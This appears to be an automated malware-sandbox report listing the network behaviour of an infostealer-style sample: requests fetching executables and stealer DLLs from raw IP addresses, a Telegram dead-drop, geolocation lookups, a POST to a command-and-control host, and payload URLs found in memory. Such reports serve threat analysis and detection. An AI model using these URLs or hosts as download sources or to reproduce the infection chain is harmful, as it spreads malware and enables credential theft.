Source: global traffic	HTTP traffic detected: HEAD /prog/66d70e8640404_trics.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /yuop/66e19745cc64e_crypted.exe#1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /doku/burda.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 31.41.244.9Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /avoufshire.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 176.113.115.187Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ssl/install.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 176.113.115.33Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /lopsa/66dc99a997229_VirtualLibrary.exe#front HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /yuop/66e179cc20793_lyla2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /revada/66e06cea88f93_BlueSapphire.exe#upus HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /yuop/66e197066b3e8_xin.exe#xin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /lopsa/66dd2c2d3b88f_opera.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lopsa/66daf6d8ac980_PeakSports.exe#pend HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /revada/66e1a49ce28da_wtyhjkosefktyh.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66d70e8640404_trics.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /yuop/66e19745cc64e_crypted.exe#1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lopsa/66dc99a997229_VirtualLibrary.exe#front HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /yuop/66e179cc20793_lyla2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /revada/66e06cea88f93_BlueSapphire.exe#upus HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 212.113.116.202
Source: unknown	TCP traffic detected without corresponding DNS query: 212.113.116.202
Source: unknown	TCP traffic detected without corresponding DNS query: 212.113.116.202
Source: unknown	TCP traffic detected without corresponding DNS query: 212.113.116.202
Source: unknown	TCP traffic detected without corresponding DNS query: 212.113.116.202
Source: unknown	TCP traffic detected without corresponding DNS query: 45.91.200.135
Source: unknown	TCP traffic detected without corresponding DNS query: 45.91.200.135
Source: unknown	TCP traffic detected without corresponding DNS query: 45.91.200.135
Source: unknown	TCP traffic detected without corresponding DNS query: 45.91.200.135
Source: unknown	TCP traffic detected without corresponding DNS query: 45.91.200.135
Source: unknown	TCP traffic detected without corresponding DNS query: 45.91.200.135
Source: unknown	TCP traffic detected without corresponding DNS query: 45.91.200.135
Source: unknown	TCP traffic detected without corresponding DNS query: 45.91.200.135
Source: unknown	TCP traffic detected without corresponding DNS query: 45.91.200.135
Source: unknown	TCP traffic detected without corresponding DNS query: 45.91.200.135
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.33
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.187
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.33
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.187
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.33
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.187
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.187
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.187
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.33
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.33
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0050CCC0 InternetOpenA,InternetOpenUrlA,InternetOpenUrlA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

1_2_0050CCC0

Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: api64.ipify.org
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /feoihjfehfue HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: file-link-iota.vercel.appCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vhtrw.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: fallaeltro.esCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sgfdm.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: fallaeltro.esCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vtrwh12.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: fallaeltro.esCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1nhuM4.js HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: iplogger.org
Source: global traffic	HTTP traffic detected: GET /edm0d HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vhtrw.exe HTTP/1.1Host: fallaeltro.esIf-Modified-Since: Wed, 11 Sep 2024 05:23:55 GMTCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lgrn.exe HTTP/1.1Host: fallaeltro.esCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lgrn.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: fallaeltro.esCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /edm0d HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cacheCookie: stel_ssid=6ce43228477eb2573b_11654436568239867088
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /edm0d HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cacheCookie: stel_ssid=6ce43228477eb2573b_11654436568239867088
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/crazyfish.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 212.113.116.202
Source: global traffic	HTTP traffic detected: GET /api/crazyfish.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.91.200.135
Source: global traffic	HTTP traffic detected: GET /doku/burda.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 31.41.244.9Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /avoufshire.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 176.113.115.187Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ssl/install.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 176.113.115.33Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lopsa/66daf6d8ac980_PeakSports.exe#pend HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /revada/66e1a49ce28da_wtyhjkosefktyh.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66d70e8640404_trics.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /yuop/66e19745cc64e_crypted.exe#1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lopsa/66dc99a997229_VirtualLibrary.exe#front HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /yuop/66e179cc20793_lyla2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /revada/66e06cea88f93_BlueSapphire.exe#upus HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: api64.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: 240902180529931.tyr.zont16.com
Source: global traffic	DNS traffic detected: DNS query: fallaeltro.es
Source: global traffic	DNS traffic detected: DNS query: file-link-iota.vercel.app
Source: global traffic	DNS traffic detected: DNS query: youtransfer.net

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBKECAKFBGCAKECGIEHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 256Connection: Keep-AliveCache-Control: no-cache

Source: 2Su0FBbBo66AP291hju1uAp_.exe, 00000005.00000002.2178102890.0000000003A1E000.00000004.00000800.00020000.00000000.sdmp, McmVdxsIvLZmG47_ZImbEdvo.exe, 0000000D.00000002.2175074041.0000000003C0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.126.10:80
Source: 2Su0FBbBo66AP291hju1uAp_.exe, 00000005.00000002.2178102890.0000000003A1E000.00000004.00000800.00020000.00000000.sdmp, McmVdxsIvLZmG47_ZImbEdvo.exe, 0000000D.00000002.2175074041.0000000003C0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.126.10:80grmegrjhttps://t.me/edm0di11iMozilla/5.0
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.0000000003A84000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66daf6d8ac980_PeakSports.exe#pend
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66daf6d8ac980_PeakSports.exe#pend1B
Source: RegAsm.exe, 00000001.00000002.2113898580.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66daf6d8ac980_PeakSports.exe#pend8
Source: RegAsm.exe, 00000001.00000002.2113898580.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66daf6d8ac980_PeakSports.exe#pendBg
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66daf6d8ac980_PeakSports.exe#pendC:
Source: RegAsm.exe, 00000001.00000002.2113898580.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66daf6d8ac980_PeakSports.exe#pendK
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66daf6d8ac980_PeakSports.exe#pendf6d8ac980_PeakSports.exe#pend
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2110880630.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66dc99a997229_VirtualLibrary.exe#front
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66dc99a997229_VirtualLibrary.exe#frontC:
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66dc99a997229_VirtualLibrary.exe#frontovidert
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66dd2c2d3b88f_opera.exe
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66dd2c2d3b88f_opera.exeC:
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66dd2c2d3b88f_opera.execK7
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.0000000003A13000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2110880630.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d70e8640404_trics.exe
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d70e8640404_trics.exeC:
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d70e8640404_trics.execu.org
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.00000000039E3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66e06cea88f93_BlueSapphire.exe#upus
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66e06cea88f93_BlueSapphire.exe#upus.
Source: RegAsm.exe, 00000001.00000002.2113898580.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66e06cea88f93_BlueSapphire.exe#upus=
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66e06cea88f93_BlueSapphire.exe#upusC:
Source: RegAsm.exe, 00000001.00000002.2113898580.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66e06cea88f93_BlueSapphire.exe#upusZS
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66e06cea88f93_BlueSapphire.exe#upusd
Source: RegAsm.exe, 00000001.00000002.2113898580.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66e06cea88f93_BlueSapphire.exe#upusdSD
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66e06cea88f93_BlueSapphire.exe#upusmB.
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039E3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.00000000039C2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2110880630.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66e1a49ce28da_wtyhjkosefktyh.exe
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66e1a49ce28da_wtyhjkosefktyh.exe)
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66e1a49ce28da_wtyhjkosefktyh.exeC:
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66e1a49ce28da_wtyhjkosefktyh.exeuse
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66e1a49ce28da_wtyhjkosefktyh.exew
Source: RegAsm.exe, 00000001.00000002.2113898580.0000000003A13000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2110880630.0000000000F54000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66e179cc20793_lyla2.exe
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66e179cc20793_lyla2.exeC:
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66e179cc20793_lyla2.exeI
Source: RegAsm.exe, 00000001.00000002.2113898580.0000000003A13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66e179cc20793_lyla2.exePz(
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039F7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2110880630.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66e197066b3e8_xin.exe#xin
